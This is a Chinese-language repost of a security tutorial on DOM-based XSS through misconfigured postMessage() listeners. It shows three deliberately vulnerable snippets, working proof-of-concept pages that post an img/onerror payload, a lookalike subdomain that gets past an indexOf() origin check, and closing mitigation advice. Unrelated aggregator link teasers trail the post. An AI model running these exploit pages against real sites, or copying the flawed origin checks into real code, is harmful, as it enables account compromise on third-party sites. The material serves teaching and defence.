利用错误配置的postMessage()函数实现DOM型XSS攻击

news/2025/10/20 19:19:52/文章来源:https://www.cnblogs.com/qife122/p/19153475

利用错误配置的postMessage()函数实现DOM型XSS攻击

今天,我们将讨论如何通过错误配置的postMessage函数利用DOM型XSS漏洞。两个站点只有在具有相同协议、主机名和端口时才能相互通信。

如果两个站点不具备上述相似属性,将触发同源策略。

有几种方法可以绕过同源策略,其中之一就是postMessage函数。postMessage方法安全地实现了Window对象之间的跨源通信。postMessage使用两种方法在窗口之间进行交叉通信:

  • window.addEventListener
  • postMessage()

以下是postMessage()函数配置错误并容易受到DOM型XSS攻击的不同场景。

场景1:无源验证检查

在此场景中,没有源检查/验证,这意味着应用程序将接收来自任何使用postMessage()函数的域的消息。

漏洞代码

<html>
<head>
<title>XSS_ME_</title>        
</head>    
<script>          window.addEventListener('message', function(e) {           document.getElementById('s').innerHTML = e.data.s;})
</script>
<form>                            <h3 id="s">Postmessage XSS</h3>            <input type=text> </input>                            <input type="button" value="Click"> 
</form>            
</div>         
</body>
</html>

从代码片段中可以看出,没有实现源验证。

在此场景中,攻击者使用postMessage()函数构建漏洞利用程序,该函数将允许跨源通信,攻击者将能够将XSS有效负载传递到受害者/主应用程序中。

利用代码

<html>
<body>
<input type=button value="Click Me" id="btn">
</body>
<script>document.getElementById('btn').onclick = function(e){       window.poc = window.open('http://begbounty.xyz/postmessage1.html');    setTimeout(function(){        window.poc.postMessage({                                           "s": "<img src =x onerror=alert(1);>",                      },                     '*'             );   }, 2000);
}
</script>
</html>

场景2:应用程序使用indexOf()函数进行源验证

在此场景中,应用程序使用indexOf()函数进行源验证。在这种情况下,函数检查白名单域是否包含在源中。使用indexOf()函数进行源验证是不良实践,因为可以通过创建以indexOf()函数中给定字符串开头的子域来绕过此验证。

漏洞代码

<html>    <head>        <title>XSS_ME_</title> </head>   <script>             window.addEventListener('message', function(e) {                 if(e.origin.indexOf("begbounty.xyz") > 0){                document.getElementById('s').innerHTML = e.data.s;                         }             });   </script> <body>  <div class="container"><form> <h3 id="s">Postmessage XSS</h3> <input type=text> </input>                            <input type="button" value="hehe!">                            </form> </div> </body>
</html>

如上所述代码所示,应用程序正在使用indexOf()函数进行源验证:

(e.origin.indexOf("begbounty.xyz") > 0)

为了利用此错误配置,我创建了一个子域,将在其中托管漏洞利用代码:

https://begbounty.xyz.x3b.in/index.html

利用代码

<html>
<body>
<input type=button value="Click Me" id="btn">
</body>
<script>
document.getElementById('btn').onclick = function(e){       window.poc = window.open('http://begbounty.xyz/postmessage2.html');setTimeout(function(){        window.poc.postMessage({                                           "s": "<img src =x onerror=alert(1);>",},'*'             );   },2000);
}
</script>
</html>

场景3:白名单源/域存在反射/存储型XSS漏洞

<html>    <head>        <title>XSS_ME_</title>            </head>    <script>             window.addEventListener('message', function(e) {                 if (e.origin == "http://149.28.205.217:8083") {                document.getElementById('s').innerHTML = e.data.s;                    }             });                    </script>        <body>            <div class="container">                <form>                            <h3 id="s">Postmessage XSS</h3>            <input type=text> </input>                            <input type="button" value="hehe!">                            </form>            </div>         </body>
</html>

如上代码片段所示,您会发现addEventListener()正在验证协议、主机名/IP和端口号。这意味着该函数将接收来自http://149.28.205.217:8083的消息。

如果http://149.28.205.217:8083存在存储/反射型XSS漏洞怎么办?

由于它存在反射型XSS漏洞,我们可以利用此漏洞注入postMessage()利用代码。

修复方案

  • 在window.addEventListener函数中白名单源
  • 在白名单域时使用适当的正则表达式
  • 在将域/主机白名单到函数之前,对所有页面执行跨站脚本相关的测试用例

感谢阅读本博客。

特别感谢Paresh Parmar。

如果您对博客文章有任何疑问,请随时在https://twitter.com/armaancrockroax?lang=en上联系我。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/941517.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

听说今年很多应届硕士很难找到工作...

听说今年很多应届硕士很难找到工作...听说今年很多应届硕士很难找到工作,投递简历的人和岗位机会比例通常是300:1的概率。本文适合没开始工作的应届生、Gap大于1年的人、没去过大厂工作的人...分享一个提高约面率的小…

开源 C++ QT QML 创建(四)复杂控件--Listview

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

洛谷 P7380 [COCI 2018/2019 #6] Konj 题解

P7380 [COCI 2018/2019 #6] Konj 题解 题目传送门。 题意 给定 \(n\) 条线段两端端点坐标,保证一定与 \(x\) 轴或 \(y\) 轴平行。求最小的矩阵能表示出从点 \(T\) 出发到达的所有点。 如果两条线段相交或间接可以走到…

意大利居留 办理 看小红书上的材料就行,部分材料可以到按手印再补交

到了邮局之后 取个寄信号 我的是P开头 然后给他信封和材料 最后签3个名字 然后刷卡100零几欧 输入pin码 ok

机器学习领导者分享AI技术与行业洞见

本文介绍了某中心机器学习业务负责人在人工智能领域的专业见解,涵盖分布式模型训练、自然语言处理、计算机视觉等技术应用,以及AI行业发展趋势和人才培养策略,为技术从业者提供有价值的参考。Allie K. Miller希望帮…

el-upload上传配合$confirm使用的问题

现象:el-upload如果再on-remove,先调用$confirm 点了取消,也删了文件。 解决方案: 1、使用:before-remove钩子<el-uploadref="upload"class="m-l-10":limit="1"action="&qu…

博客的意義

我大概就是想寫成遊寄?個人總結?還是其他隨意的? 我補檔前面的個人總結。

我写过的动态规划问题的状态表示与转移汇总

众所周知,在写 dp 问题时只要想出来状态表示和转移方程就能把一道题写的差不多了,所以在这里整理一下我写过的 dp 问题的解法,方便我后面举一反三 背包动态规划 线性动态规划 Luogu P1359 租用游艇 橙 题目链接\(n\…

基于大语言模型的具身智能语义地图与导航研究 - MKT

基于大语言模型的具身智能语义地图与导航研究https://www.gml.ac.cn/kydt/694.html https://www.gml.ac.cn/kydt/694.html

10.20 CSP-S模拟35 改题记录

水水HZOJ 写在前面 改不出来T3T4,遂先把这个写了,然后晚上搞搞恐怖的容斥qwq。这场模拟赛不多做评价,我不知道是我菜还是题史,虽然大概率是两者都有。《美人》 한 번 보고 두 번 보고 一眼 再一眼 자꾸만 보고 싶네…

例子:vue3+vite+router创建导航菜单

第一部分 1、初始化项目npm init vite@latestnpm run dev :运行项目 q+Enter:退出运行 2、安装路由依赖npm install vue-router@4 # Vue3 对应 vue-router 4.x 版本 第二部分: 创建页面组件 在 src/views 目录下创…

欧盟数字公平法案

欧盟数字公平法案Posted on 2025-10-20 18:54 mainfoll 阅读(0) 评论(0) 收藏 举报不公平的数字商业实践

LGR-246 解题报告

T1 很水的计数。 T2 注意到如果满足分割条件,那么选取的点需要满足一下要求:所有分割点的深度相同:因为如果不满足这一点,我们可以进行分类讨论:如果存在深度比其他点小的点,那么它一定是 \(b_1\),又因为其他点…

10.7万条轨迹+4大机器人构型!RoboMIND开源数据集破解机器人通用操作难题

开发鲁棒且通用的操作策略是机器人领域的关键目标。为实现有效的泛化能力,构建包含大量演示轨迹和在复杂真实环境中完成多样化任务的综合数据集至关重要。01 | 引入 开发鲁棒且通用的操作策略是机器人领域的关键目标。…

[图形]StructureBuffer

核心概念与特点 任意结构 (Arbitrary Structure): 这是它与纹理(Texture)最大的不同。纹理存储的是固定格式的数据(比如RGBA颜色值),而StructuredBuffer可以存储你自定义的任何C++或HLSL中的struct(结构体)。 …

【题解】洛谷 P3395 路障

这道题是一道简单的BFS的题。 我们注意到这道题最不一样的地方是:每秒结束的时刻,C君会在\((x,y)\)上摆一个路障。B君不能走在路障上。 定义一个\(vis\)数组(bfs基本做法),将没有走过的点\(vis[x][y]\)设置为\(0\…

(薛定谔のCSP-S)模拟35 2025.10.20

咕掉好几场墨泥塞的僵尸来颓题解惹 因为想等大 ~蛇 ~们 ~改完之后再改(根本不会) rt: 你说这是吃薯片-S? 我还是跳楼来的比较快。 这题太**的神秘了,看上去都可做实际上(我)都写不出来。 sssssssssssssad。 A. …

2025最新发布|中国薪酬SaaS软件市场分析及测评

在数字经济浪潮的推动下,中国企业的薪酬管理正经历一场深刻的数字化变革。传统的薪酬管理模式面临效率低下、数据孤立、决策滞后等挑战,已难以适应快速变化的业务需求。同时,中国HR SaaS市场规模持续扩大,智能化和…

CSP-S模拟36

CSP-S模拟36 希望不是大奋。以下是博客签名,正文无关 本文来自博客园,作者:Wy_x,转载请在文首注明原文链接:https://www.cnblogs.com/Wy-x/p/19153400 版权声明:本作品采用「署名-非商业性使用-相同方式共享 4.0…

热点、排版、数据难题?6 款微信编辑器实测推荐

热点、排版、数据难题?6 款微信编辑器实测推荐新媒体人别再“瞎忙”!6款编辑器实测:壹伴AI编辑器才是效率解药 “为了赶热点熬到凌晨,排版反复调整却还是乱码;发完文章只能等数据‘躺平’,不知道哪里要优化;跨平…